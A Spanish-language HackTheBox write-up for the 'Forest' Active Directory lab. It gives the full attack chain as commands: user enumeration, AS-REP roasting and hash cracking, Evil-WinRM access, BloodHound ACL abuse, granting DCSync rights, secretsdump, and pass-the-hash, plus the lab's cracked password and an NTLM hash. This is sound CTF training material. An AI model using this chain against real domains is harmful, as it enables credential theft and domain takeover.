write-ups / hackthebox / forest-htb

HackTheBoxeasyWindows

Forest — AS-REP Roasting y DCSync en Active Directory

Ataque a Active Directory en Forest de HTB. AS-REP Roasting, WinRM con Evil-WinRM, abuso de ACLs con BloodHound y DCSync para obtener el hash del Administrator.

7 de abril de 20241 min read
HTBActive DirectoryAS-REP RoastingDCSyncBloodHound

Reconocimiento

bash
nmap -sV -sC -oN forest.nmap 10.10.10.161
Domain Controller:
bash
htb.local
. Puertos clave: 88 (Kerberos), 389 (LDAP), 445 (SMB), 5985 (WinRM).

Enumeración de usuarios

bash
rpcclient -U '' -N 10.10.10.161
enumdomusers
Usuarios encontrados:
bash
svc-alfresco
,
bash
sebastien
,
bash
lucinda
,
bash
andy
,
bash
mark
,
bash
santi
.

AS-REP Roasting

El usuario
bash
svc-alfresco
no requiere pre-autenticación Kerberos (UF_DONT_REQUIRE_PREAUTH):
bash
GetNPUsers.py htb.local/ -usersfile users.txt -dc-ip 10.10.10.161 -no-pass
Obtenemos el hash AS-REP del usuario
bash
svc-alfresco
. Lo crackeamos:
bash
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
Password:
bash
s3rvice

Acceso con Evil-WinRM

bash
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

Escalación con BloodHound

Recolectamos datos del dominio Active Directory con SharpHound:

powershell
upload SharpHound.exe
.\SharpHound.exe -c all
BloodHound revela que
bash
svc-alfresco
es miembro de
bash
Account Operators
, que tiene
bash
GenericAll
sobre el grupo
bash
Exchange Windows Permissions
, que a su vez tiene
bash
WriteDacl
sobre el dominio.

DCSync Attack

powershell
# Agregar usuario al grupo Exchange Windows Permissions
net group "Exchange Windows Permissions" svc-alfresco /add /domain

# Otorgar permisos DCSync
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Rights DCSync
bash
secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161

Obtenemos el hash NTLM del Administrator.

Pass-the-Hash

bash
psexec.py htb.local/Administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6